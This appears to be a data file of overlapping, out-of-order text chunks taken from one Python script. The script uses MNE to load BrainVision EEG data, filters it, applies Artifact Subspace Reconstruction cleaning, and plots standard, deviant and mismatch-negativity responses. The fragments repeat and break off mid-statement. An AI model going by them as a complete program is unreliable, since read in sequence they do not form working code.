"raw_asrcalibration.raw_asrcalibration(rawCalibAsr,ChanName4VEOG, cutoff,Yule_Walker_filtering) # ASR process on epoch event_id = {'Std': 1, 'Dev': 2}",
"= io.read_raw_brainvision(fname, preload = False) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') ListChannels",
"epochs_clean = mne.EpochsArray(DataClean,info=epochs_filt.info,events=events,event_id=event_id) srate = raw.info['sfreq'] evoked_std = epochs_filt['Std'].average(picks=picks_eeg) evoked_dev = epochs_filt['Dev'].average(picks=picks_eeg) evoked_clean_std",
"DataClean = np.zeros((Data2Correct.shape)) for i_epoch in range(Data4detect.shape[0]): EpochYR = Data4detect[i_epoch,:,:] Epoch2Corr = Data2Correct[i_epoch,:,:]",
"= 2 h_freq = 20 Wn = [l_freq/(raw.info['sfreq']/2.), h_freq/(raw.info['sfreq']/2.) ] b, a =",
"= Data4detect[i_epoch,:,:] Epoch2Corr = Data2Correct[i_epoch,:,:] DataClean[i_epoch,:,:] = asr.asr_process_on_epoch(EpochYR,Epoch2Corr,state) epochs_clean = mne.EpochsArray(DataClean,info=epochs_filt.info,events=events,event_id=event_id) srate =",
"reject=None, picks=picks_eeg) epochs_filt = mne.Epochs(raw, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=None,baseline=None, reject=None, picks=picks_eeg) Data4detect =",
"plt.show() kwargs = dict(times=np.arange(-0.1, 0.40, 0.025), vmin=-1.5, vmax=1.5, layout='auto', head_pos=dict(center=(0., 0.), scale=(1., 1.)))",
"raw = io.read_raw_brainvision(fname, preload = False) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads')",
"10 and 20 https://sccn.ucsd.edu/wiki/Makoto%27s_preprocessing_pipeline#Alternatively.2C_cleaning_continuous_data_using_ASR_.2803.2F26.2F2019_updated.29 Yule_Walker_filtering = True state = raw_asrcalibration.raw_asrcalibration(rawCalibAsr,ChanName4VEOG, cutoff,Yule_Walker_filtering) # ASR",
"Jun 21 15:39:43 2019 @author: Manu \"\"\" import mne from mne import io",
"tmin=tmin,tmax=tmax, proj=True,baseline=None, reject=None, picks=picks_eeg) epochs_filt = mne.Epochs(raw, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=None,baseline=None, reject=None, picks=picks_eeg)",
"= ['Fp1','Fp2'] # 2 VEOG cutoff = 5 # Makoto preprocessing says best",
"- evoked_clean_std.data) evoked_MMN =evoked_clean_MMN.copy() evoked_MMN.data = (evoked_dev.data-evoked_std.data) evokeds_MMN= [evoked_clean_MMN,evoked_MMN] colors = 'red', 'black'",
"import tools,asr,raw_asrcalibration import numpy as np import matplotlib.pyplot as plt from mne.viz import",
"#s rawCalibAsr = rawCalibAsr.crop(tmin=tmin,tmax=tmax) ChanName4VEOG = ['Fp1','Fp2'] # 2 VEOG cutoff = 5",
"Fri Jun 21 15:39:43 2019 @author: Manu \"\"\" import mne from mne import",
"= [l_freq/(raw.info['sfreq']/2.), h_freq/(raw.info['sfreq']/2.) ] b, a = scipy.signal.iirfilter(N=2, Wn=Wn, btype = 'bandpass', analog",
"np.zeros((Data2Correct.shape)) for i_epoch in range(Data4detect.shape[0]): EpochYR = Data4detect[i_epoch,:,:] Epoch2Corr = Data2Correct[i_epoch,:,:] DataClean[i_epoch,:,:] =",
"Created on Fri Jun 21 15:39:43 2019 @author: Manu \"\"\" import mne from",
"events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=None,baseline=None, reject=None, picks=picks_eeg) Data4detect = epochs4Detect.get_data() Data2Correct = epochs_filt.get_data() DataClean",
"color=colors, title='Std Dev', background_color='w') plt.show() evoked_clean_MMN=evoked_clean_std.copy() evoked_clean_MMN.data = (evoked_clean_dev.data - evoked_clean_std.data) evoked_MMN =evoked_clean_MMN.copy()",
"= dict(times=np.arange(-0.1, 0.40, 0.025), vmin=-1.5, vmax=1.5, layout='auto', head_pos=dict(center=(0., 0.), scale=(1., 1.))) evoked_MMN.plot_topomap(**kwargs) evoked_clean_MMN.plot_topomap(**kwargs)",
"# ASR process on epoch event_id = {'Std': 1, 'Dev': 2} events_orig,_ =",
"mne.Epochs(raw, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=None,baseline=None, reject=None, picks=picks_eeg) Data4detect = epochs4Detect.get_data() Data2Correct = epochs_filt.get_data()",
"background_color='w') plt.show() evoked_clean_MMN=evoked_clean_std.copy() evoked_clean_MMN.data = (evoked_clean_dev.data - evoked_clean_std.data) evoked_MMN =evoked_clean_MMN.copy() evoked_MMN.data = (evoked_dev.data-evoked_std.data)",
"evokeds_MMN= [evoked_clean_MMN,evoked_MMN] colors = 'red', 'black' plot_evoked_topo(evokeds_MMN, color=colors, title='MMN', background_color='w') plt.show() kwargs =",
"= 'blue', 'red','steelblue','magenta' plot_evoked_topo(evokeds, color=colors, title='Std Dev', background_color='w') plt.show() evoked_clean_MMN=evoked_clean_std.copy() evoked_clean_MMN.data = (evoked_clean_dev.data",
"picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') ListChannels = np.array(raw.info['ch_names']) montage = mne.channels.read_montage(kind='standard_1020',ch_names=ListChannels[picks_eeg])",
"evoked_clean_std, evoked_clean_dev] colors = 'blue', 'red','steelblue','magenta' plot_evoked_topo(evokeds, color=colors, title='Std Dev', background_color='w') plt.show() evoked_clean_MMN=evoked_clean_std.copy()",
"io import sys sys.path.append('C:/_MANU/_U821/Python_Dev/') import scipy from util import tools,asr,raw_asrcalibration import numpy as",
"ixstd= ixdev-1 events = events_orig[np.sort(np.array(np.hstack((ixstd , ixdev)))),:] events = np.squeeze(events, axis=0) tmin, tmax",
"= False, ftype = 'butter', output = 'ba') raw._data[picks_eeg,:]=scipy.signal.lfilter(b, a, raworig_Data[picks_eeg,:], axis =",
"evoked_clean_dev.last= tmax*srate evoked_clean_std.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evoked_clean_dev.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evokeds = [evoked_std,",
"tmax*srate evoked_clean_std.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evoked_clean_dev.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evokeds = [evoked_std, evoked_dev,",
"= np.array(np.where(events_orig[:,2]==2)) ixstd= ixdev-1 events = events_orig[np.sort(np.array(np.hstack((ixstd , ixdev)))),:] events = np.squeeze(events, axis=0)",
"h_freq/(raw.info['sfreq']/2.) ] b, a = scipy.signal.iirfilter(N=2, Wn=Wn, btype = 'bandpass', analog = False,",
"epochs_clean['Dev'].average(picks=picks_eeg) evoked_clean_std.first=-200 evoked_clean_std.last= tmax*srate evoked_clean_dev.first=-200 evoked_clean_dev.last= tmax*srate evoked_clean_std.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evoked_clean_dev.times= np.around(np.linspace(-0.2,",
"= mne.EpochsArray(DataClean,info=epochs_filt.info,events=events,event_id=event_id) srate = raw.info['sfreq'] evoked_std = epochs_filt['Std'].average(picks=picks_eeg) evoked_dev = epochs_filt['Dev'].average(picks=picks_eeg) evoked_clean_std =",
"rawCalibAsr=raw.copy() tmin = 30 tmax = 60 #s rawCalibAsr = rawCalibAsr.crop(tmin=tmin,tmax=tmax) ChanName4VEOG =",
"= 60 #s rawCalibAsr = rawCalibAsr.crop(tmin=tmin,tmax=tmax) ChanName4VEOG = ['Fp1','Fp2'] # 2 VEOG cutoff",
"Data4detect = epochs4Detect.get_data() Data2Correct = epochs_filt.get_data() DataClean = np.zeros((Data2Correct.shape)) for i_epoch in range(Data4detect.shape[0]):",
"= np.array(raw.info['ch_names']) montage = mne.channels.read_montage(kind='standard_1020',ch_names=ListChannels[picks_eeg]) raw = io.read_raw_brainvision(fname, montage=montage, preload = True) picks_eeg",
"axis=0) tmin, tmax = -0.2, 0.5 raw4detect = raw.copy() raw4detect._data,iirstate = asr.YW_filter(raw._data,raw.info['sfreq'],None) ##",
"= scipy.signal.iirfilter(N=2, Wn=Wn, btype = 'bandpass', analog = False, ftype = 'butter', output",
"['Fp1','Fp2'] # 2 VEOG cutoff = 5 # Makoto preprocessing says best between",
"for i_epoch in range(Data4detect.shape[0]): EpochYR = Data4detect[i_epoch,:,:] Epoch2Corr = Data2Correct[i_epoch,:,:] DataClean[i_epoch,:,:] = asr.asr_process_on_epoch(EpochYR,Epoch2Corr,state)",
"20 Wn = [l_freq/(raw.info['sfreq']/2.), h_freq/(raw.info['sfreq']/2.) ] b, a = scipy.signal.iirfilter(N=2, Wn=Wn, btype =",
"picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') raw =raw.pick_types( meg=False, eeg=True, eog=False,stim=True, exclude='bads')",
"raw4detect._data,iirstate = asr.YW_filter(raw._data,raw.info['sfreq'],None) ## HERE epochs4Detect = mne.Epochs(raw4detect, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=True,baseline=None, reject=None,",
"= epochs_filt['Dev'].average(picks=picks_eeg) evoked_clean_std = epochs_clean['Std'].average(picks=picks_eeg) evoked_clean_dev = epochs_clean['Dev'].average(picks=picks_eeg) evoked_clean_std.first=-200 evoked_clean_std.last= tmax*srate evoked_clean_dev.first=-200 evoked_clean_dev.last=",
"= 'ba') raw._data[picks_eeg,:]=scipy.signal.lfilter(b, a, raworig_Data[picks_eeg,:], axis = 1, zi = None) rawCalibAsr=raw.copy() tmin",
"eeg=True, eog=False,stim=False, exclude='bads') ListChannels = np.array(raw.info['ch_names']) montage = mne.channels.read_montage(kind='standard_1020',ch_names=ListChannels[picks_eeg]) raw = io.read_raw_brainvision(fname, montage=montage,",
"60 #s rawCalibAsr = rawCalibAsr.crop(tmin=tmin,tmax=tmax) ChanName4VEOG = ['Fp1','Fp2'] # 2 VEOG cutoff =",
"= False) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') ListChannels = np.array(raw.info['ch_names']) montage",
"ASR process on epoch event_id = {'Std': 1, 'Dev': 2} events_orig,_ = mne.events_from_annotations(raw)",
"rawCalibAsr = rawCalibAsr.crop(tmin=tmin,tmax=tmax) ChanName4VEOG = ['Fp1','Fp2'] # 2 VEOG cutoff = 5 #",
"Yule_Walker_filtering = True state = raw_asrcalibration.raw_asrcalibration(rawCalibAsr,ChanName4VEOG, cutoff,Yule_Walker_filtering) # ASR process on epoch event_id",
"[l_freq/(raw.info['sfreq']/2.), h_freq/(raw.info['sfreq']/2.) ] b, a = scipy.signal.iirfilter(N=2, Wn=Wn, btype = 'bandpass', analog =",
"= [evoked_std, evoked_dev, evoked_clean_std, evoked_clean_dev] colors = 'blue', 'red','steelblue','magenta' plot_evoked_topo(evokeds, color=colors, title='Std Dev',",
"plt from mne.viz import plot_evoked_topo fname = 'C:/_MANU/_U821/_wip/ContextOdd/raw/ANDNI_0001.vhdr' raw = io.read_raw_brainvision(fname, preload =",
"= mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') ListChannels = np.array(raw.info['ch_names']) montage = mne.channels.read_montage(kind='standard_1020',ch_names=ListChannels[picks_eeg]) raw",
"evoked_clean_dev.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evokeds = [evoked_std, evoked_dev, evoked_clean_std, evoked_clean_dev] colors = 'blue',",
"montage=montage, preload = True) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') raw =raw.pick_types(",
"num=DataClean.shape[2]),decimals=3) evoked_clean_dev.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evokeds = [evoked_std, evoked_dev, evoked_clean_std, evoked_clean_dev] colors =",
"num=DataClean.shape[2]),decimals=3) evokeds = [evoked_std, evoked_dev, evoked_clean_std, evoked_clean_dev] colors = 'blue', 'red','steelblue','magenta' plot_evoked_topo(evokeds, color=colors,",
"20 https://sccn.ucsd.edu/wiki/Makoto%27s_preprocessing_pipeline#Alternatively.2C_cleaning_continuous_data_using_ASR_.2803.2F26.2F2019_updated.29 Yule_Walker_filtering = True state = raw_asrcalibration.raw_asrcalibration(rawCalibAsr,ChanName4VEOG, cutoff,Yule_Walker_filtering) # ASR process on",
"15:39:43 2019 @author: Manu \"\"\" import mne from mne import io import sys",
"Wn = [l_freq/(raw.info['sfreq']/2.), h_freq/(raw.info['sfreq']/2.) ] b, a = scipy.signal.iirfilter(N=2, Wn=Wn, btype = 'bandpass',",
"epochs_filt['Std'].average(picks=picks_eeg) evoked_dev = epochs_filt['Dev'].average(picks=picks_eeg) evoked_clean_std = epochs_clean['Std'].average(picks=picks_eeg) evoked_clean_dev = epochs_clean['Dev'].average(picks=picks_eeg) evoked_clean_std.first=-200 evoked_clean_std.last= tmax*srate",
"event_id=event_id, tmin=tmin,tmax=tmax, proj=True,baseline=None, reject=None, picks=picks_eeg) epochs_filt = mne.Epochs(raw, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=None,baseline=None, reject=None,",
"colors = 'red', 'black' plot_evoked_topo(evokeds_MMN, color=colors, title='MMN', background_color='w') plt.show() kwargs = dict(times=np.arange(-0.1, 0.40,",
"events_orig[np.sort(np.array(np.hstack((ixstd , ixdev)))),:] events = np.squeeze(events, axis=0) tmin, tmax = -0.2, 0.5 raw4detect",
"in range(Data4detect.shape[0]): EpochYR = Data4detect[i_epoch,:,:] Epoch2Corr = Data2Correct[i_epoch,:,:] DataClean[i_epoch,:,:] = asr.asr_process_on_epoch(EpochYR,Epoch2Corr,state) epochs_clean =",
"=evoked_clean_MMN.copy() evoked_MMN.data = (evoked_dev.data-evoked_std.data) evokeds_MMN= [evoked_clean_MMN,evoked_MMN] colors = 'red', 'black' plot_evoked_topo(evokeds_MMN, color=colors, title='MMN',",
"ixdev = np.array(np.where(events_orig[:,2]==2)) ixstd= ixdev-1 events = events_orig[np.sort(np.array(np.hstack((ixstd , ixdev)))),:] events = np.squeeze(events,",
"h_freq = 20 Wn = [l_freq/(raw.info['sfreq']/2.), h_freq/(raw.info['sfreq']/2.) ] b, a = scipy.signal.iirfilter(N=2, Wn=Wn,",
"a = scipy.signal.iirfilter(N=2, Wn=Wn, btype = 'bandpass', analog = False, ftype = 'butter',",
"= raw.copy() raw4detect._data,iirstate = asr.YW_filter(raw._data,raw.info['sfreq'],None) ## HERE epochs4Detect = mne.Epochs(raw4detect, events=events, event_id=event_id, tmin=tmin,tmax=tmax,",
"scipy from util import tools,asr,raw_asrcalibration import numpy as np import matplotlib.pyplot as plt",
"ListChannels = np.array(raw.info['ch_names']) montage = mne.channels.read_montage(kind='standard_1020',ch_names=ListChannels[picks_eeg]) raw = io.read_raw_brainvision(fname, montage=montage, preload = True)",
"mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') ListChannels = np.array(raw.info['ch_names']) montage = mne.channels.read_montage(kind='standard_1020',ch_names=ListChannels[picks_eeg]) raw =",
"coding: utf-8 -*- \"\"\" Created on Fri Jun 21 15:39:43 2019 @author: Manu",
"evoked_clean_std.last= tmax*srate evoked_clean_dev.first=-200 evoked_clean_dev.last= tmax*srate evoked_clean_std.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evoked_clean_dev.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3)",
"tmax*srate evoked_clean_dev.first=-200 evoked_clean_dev.last= tmax*srate evoked_clean_std.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evoked_clean_dev.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evokeds",
"= {'Std': 1, 'Dev': 2} events_orig,_ = mne.events_from_annotations(raw) ixdev = np.array(np.where(events_orig[:,2]==2)) ixstd= ixdev-1",
"tmin, tmax = -0.2, 0.5 raw4detect = raw.copy() raw4detect._data,iirstate = asr.YW_filter(raw._data,raw.info['sfreq'],None) ## HERE",
"state = raw_asrcalibration.raw_asrcalibration(rawCalibAsr,ChanName4VEOG, cutoff,Yule_Walker_filtering) # ASR process on epoch event_id = {'Std': 1,",
"cutoff,Yule_Walker_filtering) # ASR process on epoch event_id = {'Std': 1, 'Dev': 2} events_orig,_",
"HERE epochs4Detect = mne.Epochs(raw4detect, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=True,baseline=None, reject=None, picks=picks_eeg) epochs_filt = mne.Epochs(raw,",
"exclude='bads') ListChannels = np.array(raw.info['ch_names']) montage = mne.channels.read_montage(kind='standard_1020',ch_names=ListChannels[picks_eeg]) raw = io.read_raw_brainvision(fname, montage=montage, preload =",
"= epochs_clean['Dev'].average(picks=picks_eeg) evoked_clean_std.first=-200 evoked_clean_std.last= tmax*srate evoked_clean_dev.first=-200 evoked_clean_dev.last= tmax*srate evoked_clean_std.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evoked_clean_dev.times=",
"'red','steelblue','magenta' plot_evoked_topo(evokeds, color=colors, title='Std Dev', background_color='w') plt.show() evoked_clean_MMN=evoked_clean_std.copy() evoked_clean_MMN.data = (evoked_clean_dev.data - evoked_clean_std.data)",
"eeg=True, eog=False,stim=False, exclude='bads') raw =raw.pick_types( meg=False, eeg=True, eog=False,stim=True, exclude='bads') # ASR Calibration raworig_Data=",
"Dev', background_color='w') plt.show() evoked_clean_MMN=evoked_clean_std.copy() evoked_clean_MMN.data = (evoked_clean_dev.data - evoked_clean_std.data) evoked_MMN =evoked_clean_MMN.copy() evoked_MMN.data =",
"= raw.info['sfreq'] evoked_std = epochs_filt['Std'].average(picks=picks_eeg) evoked_dev = epochs_filt['Dev'].average(picks=picks_eeg) evoked_clean_std = epochs_clean['Std'].average(picks=picks_eeg) evoked_clean_dev =",
"## HERE epochs4Detect = mne.Epochs(raw4detect, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=True,baseline=None, reject=None, picks=picks_eeg) epochs_filt =",
"Data4detect[i_epoch,:,:] Epoch2Corr = Data2Correct[i_epoch,:,:] DataClean[i_epoch,:,:] = asr.asr_process_on_epoch(EpochYR,Epoch2Corr,state) epochs_clean = mne.EpochsArray(DataClean,info=epochs_filt.info,events=events,event_id=event_id) srate = raw.info['sfreq']",
"raw._data[picks_eeg,:]=scipy.signal.lfilter(b, a, raworig_Data[picks_eeg,:], axis = 1, zi = None) rawCalibAsr=raw.copy() tmin = 30",
"asr.YW_filter(raw._data,raw.info['sfreq'],None) ## HERE epochs4Detect = mne.Epochs(raw4detect, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=True,baseline=None, reject=None, picks=picks_eeg) epochs_filt",
"utf-8 -*- \"\"\" Created on Fri Jun 21 15:39:43 2019 @author: Manu \"\"\"",
"= (evoked_clean_dev.data - evoked_clean_std.data) evoked_MMN =evoked_clean_MMN.copy() evoked_MMN.data = (evoked_dev.data-evoked_std.data) evokeds_MMN= [evoked_clean_MMN,evoked_MMN] colors =",
"ixdev)))),:] events = np.squeeze(events, axis=0) tmin, tmax = -0.2, 0.5 raw4detect = raw.copy()",
"Data2Correct[i_epoch,:,:] DataClean[i_epoch,:,:] = asr.asr_process_on_epoch(EpochYR,Epoch2Corr,state) epochs_clean = mne.EpochsArray(DataClean,info=epochs_filt.info,events=events,event_id=event_id) srate = raw.info['sfreq'] evoked_std = epochs_filt['Std'].average(picks=picks_eeg)",
"evoked_clean_dev = epochs_clean['Dev'].average(picks=picks_eeg) evoked_clean_std.first=-200 evoked_clean_std.last= tmax*srate evoked_clean_dev.first=-200 evoked_clean_dev.last= tmax*srate evoked_clean_std.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3)",
"eeg=True, eog=False,stim=True, exclude='bads') # ASR Calibration raworig_Data= raw._data l_freq = 2 h_freq =",
"-0.2, 0.5 raw4detect = raw.copy() raw4detect._data,iirstate = asr.YW_filter(raw._data,raw.info['sfreq'],None) ## HERE epochs4Detect = mne.Epochs(raw4detect,",
"raworig_Data= raw._data l_freq = 2 h_freq = 20 Wn = [l_freq/(raw.info['sfreq']/2.), h_freq/(raw.info['sfreq']/2.) ]",
"util import tools,asr,raw_asrcalibration import numpy as np import matplotlib.pyplot as plt from mne.viz",
"eog=False,stim=False, exclude='bads') raw =raw.pick_types( meg=False, eeg=True, eog=False,stim=True, exclude='bads') # ASR Calibration raworig_Data= raw._data",
"srate = raw.info['sfreq'] evoked_std = epochs_filt['Std'].average(picks=picks_eeg) evoked_dev = epochs_filt['Dev'].average(picks=picks_eeg) evoked_clean_std = epochs_clean['Std'].average(picks=picks_eeg) evoked_clean_dev",
"color=colors, title='MMN', background_color='w') plt.show() kwargs = dict(times=np.arange(-0.1, 0.40, 0.025), vmin=-1.5, vmax=1.5, layout='auto', head_pos=dict(center=(0.,",
"exclude='bads') raw =raw.pick_types( meg=False, eeg=True, eog=False,stim=True, exclude='bads') # ASR Calibration raworig_Data= raw._data l_freq",
"epochs_filt['Dev'].average(picks=picks_eeg) evoked_clean_std = epochs_clean['Std'].average(picks=picks_eeg) evoked_clean_dev = epochs_clean['Dev'].average(picks=picks_eeg) evoked_clean_std.first=-200 evoked_clean_std.last= tmax*srate evoked_clean_dev.first=-200 evoked_clean_dev.last= tmax*srate",
"'ba') raw._data[picks_eeg,:]=scipy.signal.lfilter(b, a, raworig_Data[picks_eeg,:], axis = 1, zi = None) rawCalibAsr=raw.copy() tmin =",
"False) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') ListChannels = np.array(raw.info['ch_names']) montage =",
"= mne.events_from_annotations(raw) ixdev = np.array(np.where(events_orig[:,2]==2)) ixstd= ixdev-1 events = events_orig[np.sort(np.array(np.hstack((ixstd , ixdev)))),:] events",
"raw = io.read_raw_brainvision(fname, montage=montage, preload = True) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False,",
"= mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') raw =raw.pick_types( meg=False, eeg=True, eog=False,stim=True, exclude='bads') #",
"'butter', output = 'ba') raw._data[picks_eeg,:]=scipy.signal.lfilter(b, a, raworig_Data[picks_eeg,:], axis = 1, zi = None)",
"np.array(np.where(events_orig[:,2]==2)) ixstd= ixdev-1 events = events_orig[np.sort(np.array(np.hstack((ixstd , ixdev)))),:] events = np.squeeze(events, axis=0) tmin,",
"= 30 tmax = 60 #s rawCalibAsr = rawCalibAsr.crop(tmin=tmin,tmax=tmax) ChanName4VEOG = ['Fp1','Fp2'] #",
"epoch event_id = {'Std': 1, 'Dev': 2} events_orig,_ = mne.events_from_annotations(raw) ixdev = np.array(np.where(events_orig[:,2]==2))",
"evoked_MMN =evoked_clean_MMN.copy() evoked_MMN.data = (evoked_dev.data-evoked_std.data) evokeds_MMN= [evoked_clean_MMN,evoked_MMN] colors = 'red', 'black' plot_evoked_topo(evokeds_MMN, color=colors,",
"np import matplotlib.pyplot as plt from mne.viz import plot_evoked_topo fname = 'C:/_MANU/_U821/_wip/ContextOdd/raw/ANDNI_0001.vhdr' raw",
"evokeds = [evoked_std, evoked_dev, evoked_clean_std, evoked_clean_dev] colors = 'blue', 'red','steelblue','magenta' plot_evoked_topo(evokeds, color=colors, title='Std",
"rawCalibAsr.crop(tmin=tmin,tmax=tmax) ChanName4VEOG = ['Fp1','Fp2'] # 2 VEOG cutoff = 5 # Makoto preprocessing",
"= epochs_filt['Std'].average(picks=picks_eeg) evoked_dev = epochs_filt['Dev'].average(picks=picks_eeg) evoked_clean_std = epochs_clean['Std'].average(picks=picks_eeg) evoked_clean_dev = epochs_clean['Dev'].average(picks=picks_eeg) evoked_clean_std.first=-200 evoked_clean_std.last=",
"b, a = scipy.signal.iirfilter(N=2, Wn=Wn, btype = 'bandpass', analog = False, ftype =",
"plot_evoked_topo(evokeds_MMN, color=colors, title='MMN', background_color='w') plt.show() kwargs = dict(times=np.arange(-0.1, 0.40, 0.025), vmin=-1.5, vmax=1.5, layout='auto',",
"eog=False,stim=True, exclude='bads') # ASR Calibration raworig_Data= raw._data l_freq = 2 h_freq = 20",
"import matplotlib.pyplot as plt from mne.viz import plot_evoked_topo fname = 'C:/_MANU/_U821/_wip/ContextOdd/raw/ANDNI_0001.vhdr' raw =",
"raw.info['sfreq'] evoked_std = epochs_filt['Std'].average(picks=picks_eeg) evoked_dev = epochs_filt['Dev'].average(picks=picks_eeg) evoked_clean_std = epochs_clean['Std'].average(picks=picks_eeg) evoked_clean_dev = epochs_clean['Dev'].average(picks=picks_eeg)",
"output = 'ba') raw._data[picks_eeg,:]=scipy.signal.lfilter(b, a, raworig_Data[picks_eeg,:], axis = 1, zi = None) rawCalibAsr=raw.copy()",
"ftype = 'butter', output = 'ba') raw._data[picks_eeg,:]=scipy.signal.lfilter(b, a, raworig_Data[picks_eeg,:], axis = 1, zi",
"= 'bandpass', analog = False, ftype = 'butter', output = 'ba') raw._data[picks_eeg,:]=scipy.signal.lfilter(b, a,",
"events_orig,_ = mne.events_from_annotations(raw) ixdev = np.array(np.where(events_orig[:,2]==2)) ixstd= ixdev-1 events = events_orig[np.sort(np.array(np.hstack((ixstd , ixdev)))),:]",
"mne.EpochsArray(DataClean,info=epochs_filt.info,events=events,event_id=event_id) srate = raw.info['sfreq'] evoked_std = epochs_filt['Std'].average(picks=picks_eeg) evoked_dev = epochs_filt['Dev'].average(picks=picks_eeg) evoked_clean_std = epochs_clean['Std'].average(picks=picks_eeg)",
"= mne.channels.read_montage(kind='standard_1020',ch_names=ListChannels[picks_eeg]) raw = io.read_raw_brainvision(fname, montage=montage, preload = True) picks_eeg = mne.pick_types(raw.info, meg=False,",
"btype = 'bandpass', analog = False, ftype = 'butter', output = 'ba') raw._data[picks_eeg,:]=scipy.signal.lfilter(b,",
"np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evoked_clean_dev.times= np.around(np.linspace(-0.2, tmax, num=DataClean.shape[2]),decimals=3) evokeds = [evoked_std, evoked_dev, evoked_clean_std, evoked_clean_dev]",
"events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=True,baseline=None, reject=None, picks=picks_eeg) epochs_filt = mne.Epochs(raw, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=None,baseline=None,",
"scipy.signal.iirfilter(N=2, Wn=Wn, btype = 'bandpass', analog = False, ftype = 'butter', output =",
"picks=picks_eeg) Data4detect = epochs4Detect.get_data() Data2Correct = epochs_filt.get_data() DataClean = np.zeros((Data2Correct.shape)) for i_epoch in",
"kwargs = dict(times=np.arange(-0.1, 0.40, 0.025), vmin=-1.5, vmax=1.5, layout='auto', head_pos=dict(center=(0., 0.), scale=(1., 1.))) evoked_MMN.plot_topomap(**kwargs)",
"as plt from mne.viz import plot_evoked_topo fname = 'C:/_MANU/_U821/_wip/ContextOdd/raw/ANDNI_0001.vhdr' raw = io.read_raw_brainvision(fname, preload",
"1, 'Dev': 2} events_orig,_ = mne.events_from_annotations(raw) ixdev = np.array(np.where(events_orig[:,2]==2)) ixstd= ixdev-1 events =",
"and 20 https://sccn.ucsd.edu/wiki/Makoto%27s_preprocessing_pipeline#Alternatively.2C_cleaning_continuous_data_using_ASR_.2803.2F26.2F2019_updated.29 Yule_Walker_filtering = True state = raw_asrcalibration.raw_asrcalibration(rawCalibAsr,ChanName4VEOG, cutoff,Yule_Walker_filtering) # ASR process",
"-*- \"\"\" Created on Fri Jun 21 15:39:43 2019 @author: Manu \"\"\" import",
"= 1, zi = None) rawCalibAsr=raw.copy() tmin = 30 tmax = 60 #s",
"preload = False) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False, exclude='bads') ListChannels = np.array(raw.info['ch_names'])",
"epochs_filt.get_data() DataClean = np.zeros((Data2Correct.shape)) for i_epoch in range(Data4detect.shape[0]): EpochYR = Data4detect[i_epoch,:,:] Epoch2Corr =",
"30 tmax = 60 #s rawCalibAsr = rawCalibAsr.crop(tmin=tmin,tmax=tmax) ChanName4VEOG = ['Fp1','Fp2'] # 2",
"analog = False, ftype = 'butter', output = 'ba') raw._data[picks_eeg,:]=scipy.signal.lfilter(b, a, raworig_Data[picks_eeg,:], axis",
"evoked_clean_MMN=evoked_clean_std.copy() evoked_clean_MMN.data = (evoked_clean_dev.data - evoked_clean_std.data) evoked_MMN =evoked_clean_MMN.copy() evoked_MMN.data = (evoked_dev.data-evoked_std.data) evokeds_MMN= [evoked_clean_MMN,evoked_MMN]",
"background_color='w') plt.show() kwargs = dict(times=np.arange(-0.1, 0.40, 0.025), vmin=-1.5, vmax=1.5, layout='auto', head_pos=dict(center=(0., 0.), scale=(1.,",
"picks=picks_eeg) epochs_filt = mne.Epochs(raw, events=events, event_id=event_id, tmin=tmin,tmax=tmax, proj=None,baseline=None, reject=None, picks=picks_eeg) Data4detect = epochs4Detect.get_data()",
"evoked_clean_std.data) evoked_MMN =evoked_clean_MMN.copy() evoked_MMN.data = (evoked_dev.data-evoked_std.data) evokeds_MMN= [evoked_clean_MMN,evoked_MMN] colors = 'red', 'black' plot_evoked_topo(evokeds_MMN,",
"'C:/_MANU/_U821/_wip/ContextOdd/raw/ANDNI_0001.vhdr' raw = io.read_raw_brainvision(fname, preload = False) picks_eeg = mne.pick_types(raw.info, meg=False, eeg=True, eog=False,stim=False,",
"2} events_orig,_ = mne.events_from_annotations(raw) ixdev = np.array(np.where(events_orig[:,2]==2)) ixstd= ixdev-1 events = events_orig[np.sort(np.array(np.hstack((ixstd ,",
